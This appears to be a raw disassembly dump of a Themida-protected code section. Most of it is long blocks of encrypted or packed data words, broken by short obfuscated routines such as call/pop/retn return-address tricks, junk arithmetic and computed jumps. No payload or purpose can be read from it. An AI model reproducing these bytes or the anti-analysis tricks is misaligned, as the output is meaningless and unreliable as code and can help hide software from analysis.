17FA41Fh, 52948EEh, 0FD8B050Fh, 0A3C1CE68h dd 0CA07207h, 337C8FFDh, 49DC99E7h, 45E41478h, 55E580FAh dd 4496FD18h, 8BA99E96h, 356899E0h, 0F0738105h, 24Ah, 928FB93Ch dd 3C4353F0h, 215C6E10h, 8B89AD29h, 9B54D233h, 8645AE67h dd 6A23A9E0h, 0A6BD1B4h, 0F7AD5E6h, 0F0C093AEh, 58DE1053h dd 6F4A0BF0h, 36A76D91h, 49DB7F36h, 286365E4h, 0CFA79213h dd 583C55EBh, 91AAAEDAh, 41C5B8CAh, 0D1E9A4A6h, 0DFEC9869h dd 0C734245Eh, 0D6593D4Fh, 62FF0EB6h, 0B0CCDE4Eh, 8000009h dd 0E68185F8h, 0FB64A8E5h, 0D651D5D0h, 0AE39FDB8h, 9D1EE29Fh dd 81FC0BBBh, 0A8E5E27Dh, 0D4CFFB64h, 0C6B5D750h, 4BD45742h dd 55EBAAF8h, 67D4D87Bh, 0C7C2CD65h, 1F2F53B7h, 3F4F3E40h dd 0E4234A89h, 0CB67ABE2h, 85948D25h, 195B1h, 0CA6BC600h dd 0AC0F667Fh, 988290F4h, 84216567h, 53F092B5h, 16264ACEh dd 37443749h, 6E9F1928h, 59191B3Fh, 0DB76B722h, 5853F093h dd 67863EF4h, 2E8FFA11h, 53F09313h, 4566AC90h, 3C7793EAh dd 62CB87F6h, 4F3C49DCh, 0E48053EEh, 486CD055h, 90BCC330h dd 0AF9E1F15h, 4D55E480h, 0C16F6B82h, 0DD8BA89Ah, 20h dd 1B6180DBh, 6CD747E0h, 242849DCh, 9CAA9514h, 8D4855E4h dd 9AC61466h, 0EDD08BA8h, 0DC000000h, 6366567h, 9DAC4A79h dd 486CE8E0h, 661F2C33h, 3D4F10ACh, 65C23D4Eh, 53F092D6h dd 9B2BE96Dh, 0B0CBC2C4h, 9269D845h, 404153F0h, 0BCE7794Dh dd 1DEF1923h, 50001236h, 0F0653C09h, 0E060F053h, 8305433Ah dd 0D9942D4h, 641983CCh, 0DCCFF1AEh, 40F33CAFh, 0C353F0A2h dd 85FDB57Fh, 88FB1064h, 0F0A21C2Fh, 0E457D053h, 7F53F0A2h dd 51A3A71Bh, 0C737C956h, 0E47B49DFh, 3B9FAFE6h, 159289F9h dd 55E64626h, 6B2622BDh, 51282347h, 0EB97B36h, 12AF507Fh dd 62F3365h, 39A66A8Eh, 7A90970Ah, 6691808h, 8318496h dd 79890000h, 64650206h, 4F7AE529h, 3351CE52h, 1C2BB478h dd 3A1E9D61h, 0FC007D8Ch, 0EB2F6663h, 0D155507Ch, 0B5793456h dd 75C461D8h, 8E55EBABh, 68674345h, 0E4E0635h, 44C72518h dd 0CB541C16h, 0F43EC2B9h, 6366567h, 27233A95h, 92DE6D6Ch dd 79F753F0h, 0E0DCDABBh, 0DF55398Dh, 8B8FFE00h, 27451h dd 6180DF00h, 347E01Bh, 0B349DB4Ch, 2DE79EACh, 35A71D5h dd 1A7E8E05h, 320DAC18h, 0D055EBBCh, 4E9CDE35h, 688BAFBAh dd 212h, 928FB944h, 0B94853F0h, 337FB8D3h, 3449DB4Ch, 0E02D3B50h dd 935949FFh, 0A2B90A08h, 86DEEDA0h, 0A57ABD5Bh, 306B9930h dd 3952060Ch, 9DD261CEh, 0ED5155EBh, 949E1332h, 0A6D6C5C7h dd 9C193635h, 0B9CF1E96h, 66D12582h, 1D6A4FC7h, 45404BEBh dd 0EEFA3D21h, 8662FF5Ch, 7450416h, 8DBD0000h, 70910E12h dd 636EF93Dh, 4745E226h, 305FC84Ch, 1E32B97Dh, 20E499A8h dd 0F138A87h, 0F5397490h, 0E125586Ah, 59E835B4h, 0DA55EBA8h dd 0F48B77B9h, 8754DED7h, 99E61685h, 0D2043467h, 0D3F4EA5h dd 0F03E9A9Eh, 4E85948Ch, 0C95CEA36h, 7DB7F2ECh, 15D82h dd 65672E00h, 47790636h, 51B0D054h, 0DB97102Bh, 2C49DC63h dd 0AE911028h, 8E55E483h, 6AF50580h, 0F4AFDD5Bh, 2C5C40C4h dd 72B8DF78h, 7181E877h, 8BA899ABh, 3ACBh, 15800h, 809D878Dh dd 5871E961h, 11C33A42h, 81E7AC7h, 375B930Ah, 58B9B04h dd 40C449DCh, 9C19344Bh, 9A2AE86Ch, 0E4EA241Bh, 0F007C655h dd 0A9043CE2h, 0B85A8Bh, 8B560000h, 5C12FFFDh, 74BE3DEDh dd 0C6F6A5A7h, 9AE58AB9h, 922C8F14h, 34585570h, 6567F810h dd 57C7F4C4h, 8BAF79F8h, 0B4DAEC73h, 0F01DD86Bh, 0D3F75B53h dd 0EBA6A1B8h, 0F5BD77D3h, 0F09793B4h, 0E7D8F53h, 1D6B7A0Ah dd 0FEBF41EEh, 0D0B449DEh, 13A5A4BBh, 484544F6h, 8CB01424h dd 0BDF01F88h, 16C7787Ah, 0EAB81069h, 613h, 0DC205B6Bh dd 0C74B4243h, 0AC702D58h, 9A9E1533h, 7F83FE0Dh, 5B6AD8FCh dd 4845E226h, 325EC94Dh, 1234B377h, 87FA979Bh, 0EBAE2B26h dd 0A16BA855h, 0C0CE6867h, 0D946B5C5h, 53F0926Ah, 5D4165E9h dd 78335F2Eh, 27EDA0AFh, 0DBD2F473h, 188B9D57h, 0F092AC9Fh dd 67F8C53h, 4D3E92F6h, 0F09251E0h, 4A6ED253h, 0BAF113C8h dd 0D0CBFD82h, 15A7A4BBh, 581B9F4h, 8D0806E1h, 5F1B197Dh dd 388Dh, 65672B00h, 47790636h, 27582754h, 4400BC76h, 434584EBh dd 9263DE5Fh, 9CE053F0h, 0E3C4378h, 11E36797h, 0A65A2A61h dd 0FF869584h, 69611C2Ah, 0D94BC9EDh, 25h, 36656757h, 0B8D69506h dd 0F7BBCDFDh, 4AAA4E8h, 4845CFF3h, 53F0BCF6h, 0FC2F46E5h dd 0ED27626Dh, 8D910C3Eh, 36656747h, 66DF9506h, 0A2D7CF52h dd 0D130848Eh, 0F82590ABh, 53F0DB49h, 55296461h, 278023F1h dd 49DB059Fh, 401F2C10h, 1D98B43Eh, 0C14569EDh, 51692426h dd 5F6C18E9h, 0C0393DDEh, 3952364Fh, 5F6C2122h, 0C63063DEh dd 969CE05Fh, 79345615h, 0FB56D742h, 785FC630h, 215A1E14h dd 4575285Ah, 6595083Ah, 9837FDE1h, 9F073766h, 0A4013A4Eh dd 45EAE1FEh, 140C1377h, 6C5CE3A2h, 4B52EFCh, 0FD0D0000h dd 0E0E17E82h, 0D3FE69ADh, 0B7D552D6h, 0A0AF38FCh, 8EA229EDh dd 90940938h, 7F83FA17h, 65A9E4E0h, 51D5C8FAh, 0E958C524h dd 6A55EBAFh, 6567E729h, 5375F236h, 305C2358h, 700FBF75h dd 0EDA8A44Eh, 9CAEB1C9h, 7BFD5213h, 567A30A3h, 74275926h dd 0FB56D744h, 7853F0FDh, 30473014h, 106794EAh, 0C12ECFF1h dd 15248193h, 0AE53F02Fh, 0AB3874AAh, 9D39FDE1h, 8594DC4Fh dd 546Fh, 61804500h, 0F947E01Bh, 7249DC2Ch, 1782FD0Eh dd 0E4DCBB96h, 0DE543855h, 868A0501h, 0E4DC7AC7h, 69242655h dd 7897D6A5h, 1986F505h, 55E4DC2Ah, 7381A5A9h, 0C6F5B0DCh dd 73B32B8Eh, 0AB2F5F56h, 5C589D75h, 0EF65D6D6h, 6C61DC44h dd 63FD3796h dd 3E3h, 0D9F48B89h, 87B956DCh, 699BE414h, 7796EE32h, 58730A01h dd 77A92D5Dh, 4DD08063h, 0A31C1677h, 0DCC24802h, 0AEDDA149h dd 2047F233h, 78DC55E4h, 94AB0ABAh, 7655E420h, 0AC728097h dd 0CA8BA93Ah, 2Dh, 1B6180E6h, 6CD747E0h, 242849DCh, 9CAA9514h dd 8D4855E4h, 9AC61466h, 4D08BA8h, 65000001h, 5C57730Ah dd 0E4902E1Dh, 53A1A555h, 0D7F48BE9h, 51692425h, 5DB9D1F5h dd 970638D7h, 9DAC0964h, 1653F092h, 0DBD6F532h, 0F3126D59h dd 0ABF78DBEh, 4E3F8800h, 1893BF68h, 0B3D5AA1Ah, 4359680Ah dd 0EE1D6037h, 536B8FB3h, 6E71FA0Ch, 9D1032BCh, 3337E96Dh dd 0AA6E92DAh, 4798AD1h, 9D2BCE12h, 0E1338DE8h, 0F06323F4h dd 3E6D9F53h, 0C9FA81FAh, 7F815ED4h, 6584FC0Ch, 0ABA3DAECh dd 0B7F00B2Fh, 49DC8FFBh, 0EC5FD84Bh, 6755E58Fh, 6DD111E3h dd 7C08D9A9h, 0E053DC4Fh, 6355E58Fh, 0DAA151Fh, 4FCAD789h dd 2B6665E2h, 7893B713h, 6BAFE2E1h, 4FD0CDFCh, 6302B061h dd 0C09DAF1Fh, 38000002h, 16919508h, 0EB74B8F5h, 0C661A5E0h dd 0DE49CDC8h, 0AD2EF2AFh, 910C3B8Bh, 0B8F5128Dh, 0A4DFEB74h dd 0D6C5C760h, 5BC42752h, 55EBADE8h, 67E4286Bh, 0C1BCCE68h dd 0BCCE59DDh, 5F6A0C3Ah, 8AAE2A22h, 8050A266h, 47E01B61h dd 49DC6CD7h, 0A7142428h, 9C58EB34h, 77DB55E4h, 9C0D30BDh dd 60EF55E4h, 9B23C909h, 0C8B38BA8h, 79000000h, 6366567h dd 27574A79h, 0F0972D86h, 0EF1A6153h, 99AB60B2h, 7692E9E2h dd 8D87033Bh, 75285AC5h, 780CDD45h, 7328E243h, 0C78649DCh dd 2040D2C9h, 0D5A3D85Ch, 0D4F3A556h, 2F888313h, 55E4F61Ch dd 4D61B397h, 0ACB3C8BCh, 70D4E4A1h, 43A401A2h, 0F44FCB93h dd 0E5E47B90h, 871FD45Ah, 0BBCD66EFh, 0D74ADCC0h, 564D6603h dd 645769Ah, 0CD858F0Ah, 0B97E3352h, 6302F6D5h, 0D4AD7FEFh dd 2C000001h, 29D611Ch, 1F888C01h, 0EA75B9F4h, 0C25DA1DCh dd 0C14ACEC3h, 752827EFh, 9C1936B1h, 88030F98h, 0B2E91B84h dd 7FB8036Eh, 55EBD2CCh, 67880C47h, 76F13568h, 0B7225954h dd 0F092DB76h, 3EF45853h, 497A017Ah, 6754DE54h, 79063665h dd 57D05447h, 0C5364635h, 0F20A8786h, 0D9289C96h, 0B22D98B3h dd 926BE647h, 64E853F0h, 0F092D665h, 3EE96D53h, 0E1659510h dd 90E8A213h, 3D0149DCh, 5855720Dh, 7B325F20h, 91F81743h dd 60B76689h, 0A86C1F21h, 484309D8h, 5808EDDh, 128391F5h dd 4FC8974Ch, 0F6898185h, 6B2622D4h, 0BBD3F753h, 3471EC9Fh dd 5FD89B05h, 9378BA9Eh, 2D5BAA7Ch, 9CC9911Eh, 60A45F4h dd 0D3636502h, 0EFD708B1h, 0D27905E2h, 21109DAEh, 0A241CCC2h dd 0FD82BADEh, 0D9A6D6D1h, 84DBF3AEh, 56F20A83h, 678892F9h dd 20226188h, 0FD0F5E6Dh, 181A7E8Eh, 0B3D92858h, 0C0531F98h dd 0B0945BE0h, 0C1C5C798h, 0A0C0D564h, 0C6EA6E4Bh, 1D98B6B5h dd 1BAB69EDh, 0CFFA81BCh, 0CD7CB9D2h, 464BA0C0h, 44AB30C2h dd 467503E2h, 1BA4880Eh, 76B73D79h, 4BA074DBh, 0BBD0F458h dd 0A074CF7Ah, 32C0444Bh, 767A3471h, 8FF3518Ch, 5D69F08Bh dd 64AE2A22h, 0B0CBB150h, 73050645h, 0A5215954h, 6D027381h dd 8657BFA7h, 0D3F58A82h, 0B9CB54D8h, 0B91B9FD5h, 3FC16648h dd 702A033Eh, 6ABC8077h, 0C0996432h, 0EF1F039Fh, 0D31ED04Eh dd 0BFD681C4h, 0B0F7E80h, 1B336A9Ch, 3F4F4644h, 5F6F1E20h dd 738B0200h, 7EA6DFECh, 8FB07A91h, 9ED649A0h, 82A2DD03h dd 0B845DBCAh, 42D49101h, 3456050Fh, 182AB579h, 636739Eh dd 5C6E9E82h, 3, 67A68CDAh, 7B043467h, 253A5249h, 15E6E29h dd 0EE718904h, 0D5AAA2DFh, 0BCC3FBB6h, 98E7178Eh, 4718306Dh dd 1F275746h, 5585450h, 4, 8704E883h, 685C2404h, 11ACh dd 56240489h, 0C681E689h, 4, 8704EE83h, 895C2434h, 0BF57243Ch dd 3ECE63ADh, 0E991E5B8h, 8BF82944h, 0C483243Ch, 3C8B5404h dd 4C48324h, 4EC81h, 4890000h, 8478F24h, 52243C8Bh, 0C281E289h dd 4, 4C281h, 14870000h, 34FF5C24h, 0C4835824h, 3E2AE904h db 0F9h, 0FFh, 9Fh ; --------------------------------------------------------------------------- loc_5F1E53: ; CODE XREF: Themida_:loc_5F0925j mov eax, 61B4244h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 47BEB2ADh, 77FDFFDFh, 50AA1563h, 31DC9F1Dh, 6E3A8EFEh dd 0EAAE093h, 4133D3C1h, 49D5E13Dh, 6A84E030h, 42D1824Bh dd 7DBA6D57h, 14B2FA24h, 2545E4C1h, 240074A8h, 71A87D4Ch dd 7F1DCC51h, 546CE16Dh, 5A1893F3h, 75877143h, 54B56745h dd 6BFC25CDh, 84985C6h, 68560614h, 0A9C530DFh, 2C65B5FFh dd 858D0614h, 61778FEh, 8D8DD0FFh, 6142641h, 0FF406A51h dd 1402ADB5h, 0C9B5FF06h, 0FF061415h, 0ADB5FFD0h, 0FF061402h dd 1415C9B5h, 0BE806h, 4200000h, 8D1E66E5h, 0CC306876h dd 8358588Bh, 2CC104E8h, 24C10224h, 4030224h, 241CF724h dd 68h, 34FF5A00h, 0EB815B02h, 691ABE7Eh, 3ECDF381h, 0EB811ED6h dd 538AEF6Fh, 10048F53h, 3B04EA83h, 850F2414h, 0FFFFFFDAh dd 122D9D8Dh, 38B0614h, 840FC00Bh, 7, 5B8B038Bh, 8B188904h dd 3E8D8DC9h, 6A061B44h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 0FCCCC350h, 0EBE08166h dd 698D89E5h, 8006142Bh, 85C7DCF0h, 6141055h, 5DDCh, 0C7F38B66h dd 14013D85h, 6, 0B3E48000h, 0D09B5FFh, 0FFF90614h, 140BD995h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 268F0344h, 9FBBE259h, 6A28BCE1h, 7195FF00h dd 8B061429h, 144CEBC0h, 0E474EDE1h, 0B7A24556h, 6AA5D88Eh dd 0AAD96CBCh, 4DD75CD0h, 13CC381Dh, 360E4BF9h, 20169E43h dd 86A4974h, 0C84C7151h, 8BD08FDDh, 635F0B1Fh, 0C8A9CF9Dh dd 0EC504390h, 0A3D368DFh, 0AB9AAC8Eh, 61FF270Ah, 6429B214h dd 0E88BEFFBh, 9, 385E1235h, 0D4589097h, 1B8C0F8Ch, 52000000h dd 13E8h, 0E952B600h, 7CBCDA8Eh, 6E960616h, 0BA91287Eh dd 0C83D4961h, 295F5859h, 140FF5B5h, 0E4C78106h, 0E900005Eh dd 13h, 40D8C399h, 0B6F28352h, 0CA05462Eh, 53BB3F27h, 689F2AD7h dd 1779h, 3823B85Eh, 1F8B3EA0h, 2511BD31h, 0EB810614h dd 724065FCh, 0FE9h, 0DD598B00h, 5358A516h, 0DFC278C2h dd 0FCC8E56Eh, 68C5C381h, 3BBA2AE2h, 8144BB5Bh, 0D8BAD2EBh dd 53E18A1Eh, 2DF7C081h, 78F09CBh, 58C0Fh, 81660000h, 833B0AF0h dd 296004EFh, 140F2185h, 0DE906h, 1AFA0000h, 37D3DCBAh dd 0E28CCAE8h, 61D94EDFh, 1EE81h, 850F0000h, 22h, 0B850Fh dd 850F0000h, 5, 130394B9h, 22E931h, 53000000h, 0CBB785CAh dd 0CFFFD56Dh, 0EB8ABA7Bh, 0FFFF65E9h, 0FEE225FFh, 0C9091C0Ah dd 201B8E6h, 0A6122D19h, 8E8h, 0DC7CE200h, 0C0625C8Dh dd 0BE94Eh, 0B8BB0000h, 3FB2DABCh, 0F28A5F9Ch, 0B5895A97h dd 6141299h, 655BC281h, 0C28A0000h, 192F68h, 5EE68A00h dd 1A8BAAB1h, 13E9h, 2B11400h, 0FA455EE9h, 67FD1555h, 0D18293B1h dd 20FB675h, 3F2CF381h, 0F381792Ah, 429E063Bh, 0D9816651h dd 815F1887h, 0A49399F3h, 0C810F35h, 0F000000h, 68Fh, 0D9852300h dd 53061434h, 4CAFCF81h, 28F6D20h, 83FBBF0Fh, 8D8B01EAh dd 614297Dh, 2B4A4A4Ah, 1418E58Dh, 1EE8106h, 0F000000h dd 0FFFF9185h, 96F580FFh, 47718D8Dh, 6A061Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 4AF39EC3h dd 4BAB297h, 0BF0FE337h, 698D89D7h, 6A06142Bh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 6F6EC351h, 0B8664197h, 85C71C81h, 6141055h, 5D3Ch, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0CDC35141h, 2C2E3CCDh dd 0AD99589h, 0BF660614h, 85C79230h, 614013Dh, 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_5F227B and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F227B proc near ; CODE XREF: Themida_:005F2273p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_5F227B endp ; --------------------------------------------------------------------------- stosd push dword ptr [ebp+61404B1h] push 0 push ebx call sub_5F229D and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F229D proc near ; CODE XREF: Themida_:005F2295p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_5F229D endp ; --------------------------------------------------------------------------- xchg eax, ebx cmp al, 34h rcr ch, cl add [ebp-5Dh], ebp jmp loc_5F22CD ; --------------------------------------------------------------------------- test eax, 8E59BA19h retf 2872h ; --------------------------------------------------------------------------- dw 78F5h dd 2F945ACFh, 44698A04h ; --------------------------------------------------------------------------- aaa loc_5F22CD: ; CODE XREF: Themida_:005F22B5j call dword ptr [ebp+6140BD9h] push 0 push edx call sub_5F22DE and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F22DE proc near ; CODE XREF: Themida_:005F22D6p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_5F22DE endp ; --------------------------------------------------------------------------- inc ecx sbb bh, [edi-13h] jns loc_5F2306 pusha mov edx, [ebp+6140C25h] xor [ebp+614106Dh], esi popa loc_5F2306: ; CODE XREF: Themida_:005F22F2j push 0 call dword ptr [ebp+6142971h] mov eax, eax jmp short loc_5F238E ; --------------------------------------------------------------------------- dw 7144h dd 80A7FEC9h, 0F014CF32h, 75DEFB95h, 0C47D2A0Dh, 0E37094B5h dd 8205CEB2h, 84663BC3h, 0D044748Dh, 9C7216h, 64B8538Eh dd 2C587858h, 6F2ED1EDh, 81B866D7h, 50EF84Ch, 315C2AC2h dd 0BBADC689h, 0F61485E9h, 381EEBF7h, 0DEEB9D7h, 19532515h dd 95177A3Ch, 30FCFD48h, 39D4F350h, 8326690Ch, 98DFDC66h dd 7C1F66C4h, 0AECEADEBh, 874F59BDh, 0D9A354C7h, 0D857EFB7h db 64h, 78h ; --------------------------------------------------------------------------- loc_5F238E: ; CODE XREF: Themida_:005F2310j jmp loc_5F239D ; --------------------------------------------------------------------------- clc jmp near ptr loc_5F4E54+3 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_5F239D: ; CODE XREF: Themida_:loc_5F238Ej jmp loc_5F2863 ; --------------------------------------------------------------------------- push 61B4918h jmp loc_585C7C ; --------------------------------------------------------------------------- push 61B4990h jmp loc_585C7C ; --------------------------------------------------------------------------- push 61B4ADBh jmp loc_585C7C ; --------------------------------------------------------------------------- dd 0C4484343h, 0AF732A5Bh, 94981530h, 8286FD0Bh, 67ABE6E5h dd 4342F0E4h, 305DCA4Eh, 1A36B175h, 0FA0C9B9Fh, 0AF127F83h dd 0EBDA330Eh, 9903B055h, 5356867h, 0A0AE487Ah, 4D71D5E5h dd 9EABB2C9h, 0A173D7E7h, 7388FC0Dh, 8F279AE5h, 5CD65F8Fh dd 0EC28C263h, 7DC149DCh, 0E752D34Eh, 7C55E432h, 39AA1A18h dd 1F8EBFCEh, 0D7626BEFh, 0C755E432h, 9DE1D5C8h, 32272697h dd 1AC555E4h, 1F2138F3h, 3AF85C6Ch, 0A92C8856h, 2E8168Bh dd 1E820000h, 2A5EAF59h, 5B6C4311h, 82F1C3D9h, 9CF63770h dd 9549DCC3h, 9FDB58B1h, 1C561985h, 3C0FA8CDh, 0B7508A84h dd 219CAFD3h, 58702D5Ah, 0CF4736FCh, 674AA678h, 0B098ABF4h dd 371B5A7Eh, 898185FDh, 7784F011h, 527CC136h, 37561540h dd 0C448B87Ah, 0E796A8B7h, 0B828423h, 8C32F804h, 210885Fh dd 30Ah, 0D85C4F7Fh, 0CB4F3E4Fh, 0B074315Ch, 9E621937h dd 8B8F0201h, 67662C00h, 4C79E62Ah, 3652CD51h, 1628B77Bh dd 8BF6A367h, 0EBDB1F2Ah, 0B57F9455h, 0E01B6180h, 0DB2AFD47h dd 0B5E07649h, 59569CEDh, 4DB8D3F7h, 0E2E655D2h, 197D55EBh dd 4845441Bh, 0DB44B7C4h, 55EBE268h, 31494440h, 979DE1D5h dd 0A4D4C9F8h, 0EBE23B05h, 0B2E91B55h, 131F6B6Dh, 87950569h dd 292h, 60A4D7F7h, 53D7C6C7h, 38FCB9D4h, 26EAA1AFh, 13178AB9h dd 0EF1EA488h, 0D4F16EB2h, 0BECA55D9h, 9EA03FC3h, 0F34E2BEFh dd 0EBDB87B2h, 0CDF71C55h, 0E01B6180h, 7376A99h, 0DB367183h dd 80A8384h, 0DB2AB78Dh, 20583C49h, 0EBDABE81h, 306D9E55h dd 52494718h, 56BD223Ah, 55651837h, 7590CDF1h, 0D10EDC1Eh dd 9FA88BAFh, 4000001h, 84216567h, 53F092B5h, 16264ACEh dd 37443749h, 93E85BC4h, 0C3C053F0h, 8092F6CAh, 22ADBBD0h dd 7398374Eh, 907145CFh, 8456D7E4h, 6D49DC6Fh, 808BD2E9h dd 8391F505h, 8FBB8223h, 625955E4h, 8F9BB6F7h, 341855E4h dd 27FA11FEh, 0A0762758h, 3A64F84Dh, 4911E3F9h, 8BA916A3h dd 2833h, 6180F900h, 7CABE2E0h, 0A327574Eh, 33238CBFh dd 4C49DC6Ch, 0CE71B0C8h, 2C55E49Ch, 6288CA21h, 7C8BA89Ah dd 0A1h, 366567B8h, 4D484605h, 6B5BD93Dh, 83B8F514h, 0FB1BAEF5h dd 56DC1E0Dh, 84F70956h, 0A2D9EB74h, 0FCB1D2A9h, 623B8236h dd 4653F0A6h, 22324944h, 6D8D0F1Eh, 0C276BC03h, 265523C2h dd 0DFDF07F9h, 0F3080C49h, 0DC205D6Ch, 0C6494443h, 6917C3CEh dd 475466D6h, 0BC000001h, 920D118Ch, 6FF83C71h, 7AE52964h dd 52CD514Ch, 31BA7E33h, 0E598B71Fh, 0C898621h, 38739F08h dd 22596BF4h, 0EF48B3DEh, 55EBD85Ch, 8B78BCD7h, 48DED7F4h dd 0F63AF31Fh, 0EDD5715h, 0E17E82FFh, 1368ACDFh, 0CF45404Ch dd 36656745h, 54477906h, 2B51B0D0h, 0ED4AA510h, 53F0925Eh dd 32A371D5h, 49DC2C0Ah, 0F1888387h, 24A0D8D3h, 0C33168F2h dd 63B184EAh, 970A3940h, 0FF73CA93h, 315355E4h, 0FF0F8281h dd 0C44779Bh, 861B29B0h, 8B4FC52Eh, 291885F0h, 855E4CBh dd 5B336560h, 4ACE82A5h, 0B9F413C8h, 0BB961782h, 3855E41Eh dd 0DCEEDE54h, 92h, 0C2CB95E3h, 5B25FAE0h, 618057D9h, 8147E01Bh dd 7A49DB2Ah, 6799E616h, 5577F034h, 0D9F1ACDDh, 0B722597Dh dd 0EBDADB76h, 0D9D4F355h, 139361E5h, 55BFA792h, 0ACC3ACA9h dd 0AA990671h, 8261307Fh, 0D0B40885h, 7B8D42h, 2A6163FCh dd 443F4D12h, 0A1B8D334h, 80FB179Fh, 0D0E80C88h, 0BAD1BE74h dd 0CBF9798Bh, 42661D2Bh, 66AACE4Ah, 0A4D4C7F9h, 1D96h dd 0A5AFA500h, 0B8478E03h, 0E060C56Eh, 1236736Dh, 0F48B1E00h dd 6A2521D3h, 40D23646h, 6767B260h, 497B0434h, 29253A52h dd 4015E6Eh, 0DFEE7189h, 0B6D5AAA2h, 8EBCC3FBh, 6D98E717h dd 46471830h, 681F2757h, 2031h, 68240C89h, 3D0Dh ; --------------------------------------------------------------------------- mov [esp], eax push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push ecx mov ecx, 302D70FCh dec ecx add ecx, 0EC5A72Ch mov eax, ecx pop ecx neg eax shl eax, 7 add eax, 777071C4h sub eax, 0F7C91620h push esp mov ebp, [esp] add esp, 4 push edx push eax pop edx mov [ebp+8], edx pop edx push dword ptr [esp] pop ebp add esp, 4 mov eax, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_585C7C ; --------------------------------------------------------------------------- aaa pop edi jmp fword ptr [ecx-19h] ; --------------------------------------------------------------------------- db 2Ah, 0Fh, 36h db 52h, 69h, 0FCh ; --------------------------------------------------------------------------- loc_5F2863: ; CODE XREF: Themida_:loc_5F239Dj mov eax, 61B4C47h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 31D62F80h, 454D8E37h, 63DCF18Fh, 13A52CAAh, 21F841B6h dd 4FCB0D96h, 51AE251Eh, 78DBAE7Dh, 5DCCC050h, 36A6EFC6h dd 38C13DF6h, 8E8h, 82750500h, 113F9DD3h, 6E95855h, 0C1000000h dd 0EB80DE3h, 0CBC081C5h, 53000059h, 7026DA81h, 0BE5A7234h dd 0A9291D1h, 7B8DEE81h, 0D3810A92h, 795A938Ch, 0D08B388Bh dd 0E75CC781h, 0EE95610h, 0BC000000h, 74EFDE15h, 0F629A4FEh dd 346BC3B2h, 7DF78133h, 663C2FB0h, 0B542F381h, 8616EF81h dd 0E5B70BE5h, 5BF85657h, 83F9008Fh, 0E18102E8h, 0FCBB020h dd 83F54848h, 850F01EEh, 10h, 39E9A0B3h, 44000000h, 0E0F27D60h dd 0E048722Ah, 12E8h, 0D7F3A100h, 0E1BA11CAh, 69F9119Bh dd 75538129h, 0F9578460h, 0FF86E959h, 18FFFFh, 27ED122Ah dd 4972E558h, 70DF84A8h, 7CFFCC44h, 0CE8h, 3CE51A00h, 0CF711286h dd 29112B5Dh, 0AE959h, 6BD40000h, 1C6792D7h, 0E3F30DB4h dd 7E95Fh, 82AB0000h, 3BF1C4F9h, 55C781ECh, 0B5000064h dd 0FD233A2h, 68Ah, 0BDD88100h, 8B2CABF2h, 0EB81171Ch dd 33A8B8F8h, 69C381F8h, 0F6A6B48h, 389h, 3BC18000h, 2EFAC381h dd 53F901C3h, 0CE8h, 0D2434A00h, 0B70C3F22h, 89A4DEC8h dd 0BE813h, 0DB3B0000h, 601D4FBh, 0AB46DC1Fh, 2720B876h dd 585E75E1h, 8B17048Fh, 0EA83F5F7h, 0BE804h, 18CF0000h dd 5D74E462h, 2F84F8B2h, 0C18150F4h, 5951992Dh, 0FA815E59h dd 0FFFF9C60h, 0FF89850Fh, 0B966FFFFh, 0C08B46B5h, 10F1BD83h dd 75000614h, 25BD8309h, 6140Eh, 53501974h, 21B8C08Bh dd 89000004h, 14181985h, 529D8D06h, 0FF0616A7h, 83585BD3h dd 140E25BDh, 17740006h, 21B85350h, 89000004h, 14181985h dd 419D8D06h, 0FF0616A4h, 8B585BD3h, 0B59D8BC0h, 0C6061423h dd 14084985h, 52685606h, 0FF9CA8B8h, 142C65B5h, 0FE858D06h dd 0FF061778h, 68046AD0h, 1000h, 25D9B5FFh, 6A0614h, 0C085D0FFh dd 0D850Fh, 0B80000h, 8D000000h, 1472AF8Dh, 8BE1FF06h dd 3C38BC8h, 0F8053C40h, 8B000000h, 0D3030C50h, 122DBD83h dd 0F000614h, 0E84h, 2D9D8B00h, 8B061412h, 141C2985h, 51038906h dd 49858D52h, 0FF06147Ch, 8BFA8BD0h, 8BD18BF1h, 0C6A4F3C8h dd 14084985h, 39685606h, 0FFD41F6Dh, 142C65B5h, 0FE858D06h dd 0FF061778h, 800068D0h, 6A0000h, 8BD0FF52h, 0F1BD83C0h dd 61410h, 0BD830975h, 6140E25h, 50197400h, 0B8C08B53h dd 421h, 24F18589h, 9D8D0614h, 616A7B9h, 585BD3FFh, 0E25BD83h dd 74000614h, 0B8535017h, 421h, 24F18589h, 9D8D0614h, 616A45Ah dd 585BD3FFh, 9D8DC08Bh, 614122Dh, 0C00B038Bh, 7840Fh dd 38B0000h, 89045B8Bh, 4B41B818h, 0FE80000h, 0F3000000h dd 71C02BA6h, 716B6E0Dh, 0AA581646h, 666076E9h, 0FCA5EB81h dd 98D091B9h, 0E85B6143h, 0Dh, 6F437DA3h, 124EB6D2h, 85998849h dd 0F6B70F44h, 79C38158h, 33000071h, 10E9C9h, 0F1A10000h dd 46B815EEh, 6F4236FFh, 0DDB6A3BBh, 34FF615Dh, 0F2B70F19h dd 0A7C7815Fh, 6627437Ah, 0B8BDE281h, 804EF781h, 0BF0F02A1h dd 0F1EF81F2h, 0F43E092h, 1284h, 0DE900h, 443A0000h, 4D8FF04Eh dd 93C61745h, 57D99B29h, 0DE9h, 4FF69C00h, 